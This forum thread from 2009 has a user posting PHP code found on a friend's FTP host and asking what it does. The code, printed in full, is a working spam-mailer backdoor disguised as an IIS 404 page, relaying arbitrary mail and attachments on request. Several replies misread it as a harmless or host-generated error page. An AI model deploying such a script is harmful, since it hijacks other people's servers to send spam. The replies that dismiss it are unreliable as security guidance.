| View previous topic :: View next topic |
| Author |
Message |
Gilles de la Tourette
Master Cheater
 Reputation: 7
Joined: 03 Dec 2006
Posts: 280
|
 Posted: Tue May 05, 2009 1:00 pm Post subject: What on earth is this. |
 |
|
A friend of me showed me this and he said he found it in his ftp host.
He thought it was kinda suspicious.
Idk much about FTP and stuff, so I thought about posting it here.
Anyone knows wth it is?
| Quote: |
<?
function mJwKAhNI($xctmp, $from, $to, $subj, $text, $filename) {
$f = fopen($filename,"rb");
$un = strtoupper(uniqid(time()));
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Reply-To: $from\n";
$head .= "Subject: $subj\n";
$head .= "Content-Type:multipart/mixed;";
$head .= "boundary=\"----------".$un."\"\n\n";
$zag = "------------".$un."\nContent-Type:text/html;\n";
$zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n";
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".basename($filename)."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".basename($filename)."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n";
return @mail("$to", "$subj", $zag, $head);
}
function OjlWzKRi($xctmp,$from,$to,$subj,$text) {
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Subject: $subj\n";
$head .= "Reply-To: $from\n";
$head .= "Content-type: text/html; charset=windows-1251" . "\r\n";
return @mail($to,$subj,$text,$head);
}
if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))
{
$xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);
$title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);
$mess64 = base64_decode($_POST['message']);
$mess = substr(trim($mess64), 0, 10000000);
$send_to = $_POST['emailsend'];
$from = $_POST['email'];
if($_FILES['file']['name'] !=''){
if (is_dir("tmp")) { } else { mkdir("tmp"); }
if(is_uploaded_file($_FILES['file']['tmp_name'])) {
if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {
if(mJwKAhNI($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }
@unlink("tmp/".basename($_FILES['file']['name']));
} else { echo "ERROR-UPLOAD"; }
} else { echo "ERROR-MOVE"; }
} else {
if(OjlWzKRi($xclient,$from,$send_to,$title,$mess) !== FALSE) {
echo "OK-MESS"; } else { echo "ERROR-MESS"; }
}
}
else
{
if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else
{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>
</TD></TR></TABLE></BODY></HTML>';}
}
?>
|
|
|
| Back to top |
|
 |
NINTENDO
Grandmaster Cheater Supreme
![]() Reputation: 0
Joined: 02 Nov 2007
Posts: 1371
|
| Posted: Tue May 05, 2009 1:04 pm Post subject: |
|
|
It looks like perl/php
_________________
Intel over amd yes. |
|
| Back to top |
|
|
Gilles de la Tourette
Master Cheater
Reputation: 7
Joined: 03 Dec 2006
Posts: 280
|
| Posted: Tue May 05, 2009 1:06 pm Post subject: |
|
|
| Its php, but what does it do?
|
|
| Back to top |
|
|
Farr.
Grandmaster Cheater
 Reputation: 0
Joined: 11 Aug 2008
Posts: 749
|
| Posted: Tue May 05, 2009 2:23 pm Post subject: |
|
|
looks to me like a 404 page, so if someone is misdirected or tries to access a part of the site that isn't there anymore they will get the 404 telling them the page doesn't exist anymore or make sure that they typed in the url correctly
it's in no way harming to anyone
|
|
| Back to top |
|
|
Drkgodz
Flash moderator
 Reputation: 2
Joined: 17 Jul 2006
Posts: 2997
Location: Houston
|
| Posted: Tue May 05, 2009 2:35 pm Post subject: |
|
|
| Valve wrote: | looks to me like a 404 page, so if someone is misdirected or tries to access a part of the site that isn't there anymore they will get the 404 telling them the page doesn't exist anymore or make sure that they typed in the url correctly
it's in no way harming to anyone |
It's a fake 404 page lmao.
It seems like it uploads files to an email..?
_________________
|
|
| Back to top |
|
|
Gilles de la Tourette
Master Cheater
Reputation: 7
Joined: 03 Dec 2006
Posts: 280
|
| Posted: Tue May 05, 2009 3:58 pm Post subject: |
|
|
| So someone hacked his ftp thingy and uploaded this so sent the files by email to him?
|
|
| Back to top |
|
|
iGod
Grandmaster Cheater
![]() Reputation: -1
Joined: 31 Jan 2009
Posts: 621
Location: Manchester, uk.
|
| Posted: Tue May 05, 2009 4:55 pm Post subject: |
|
|
| Loekuh wrote: | | So someone hacked his ftp thingy and uploaded this so sent the files by email to him? |
No, If you type it in wrong it takes you to a 404 page
like:
ilikepie.com/pie = ilikepie.com/pie
ilikepie.com/pei = 404 Error
|
|
| Back to top |
|
|
Gilles de la Tourette
Master Cheater
Reputation: 7
Joined: 03 Dec 2006
Posts: 280
|
| Posted: Wed May 06, 2009 1:50 pm Post subject: |
|
|
| He said it comes back all the times when he deletes it,and only in folders which are files in.
|
|
| Back to top |
|
|
Jesper
Grandmaster Cheater Supreme
![]() Reputation: 9
Joined: 21 Feb 2007
Posts: 1156
|
| Posted: Wed May 06, 2009 10:33 pm Post subject: |
|
|
| It must be something his FTP host is putting there automaticly.
|
|
| Back to top |
|
|
pkedpker
Master Cheater
![]() Reputation: 1
Joined: 11 Oct 2006
Posts: 412
|
| Posted: Thu May 07, 2009 11:24 pm Post subject: |
|
|
it's a mail spammer.. 
_________________
|
|
| Back to top |
|
|
NINTENDO
Grandmaster Cheater Supreme
![]() Reputation: 0
Joined: 02 Nov 2007
Posts: 1371
|
|
| Back to top |
|
|
Gilles de la Tourette
Master Cheater
Reputation: 7
Joined: 03 Dec 2006
Posts: 280
|
| Posted: Sun May 10, 2009 10:42 am Post subject: |
|
|
| Doesnt it send his files on his ftp to some email or something?
|
|
| Back to top |
|
|
NINTENDO
Grandmaster Cheater Supreme
![]() Reputation: 0
Joined: 02 Nov 2007
Posts: 1371
|
| Posted: Mon May 11, 2009 1:39 am Post subject: |
|
|
| Loekuh wrote: | | Doesnt it send his files on his ftp to some email or something? |
I think it tells the admin whatever the user is uploading and whenever the upload fails or not. It seems to be automatically generated by the system.
_________________
Intel over amd yes. |
|
| Back to top |
|
|
|
FAQ
Search
Memberlist
Usergroups
Register
Profile
Log in to check your private messages
Log in
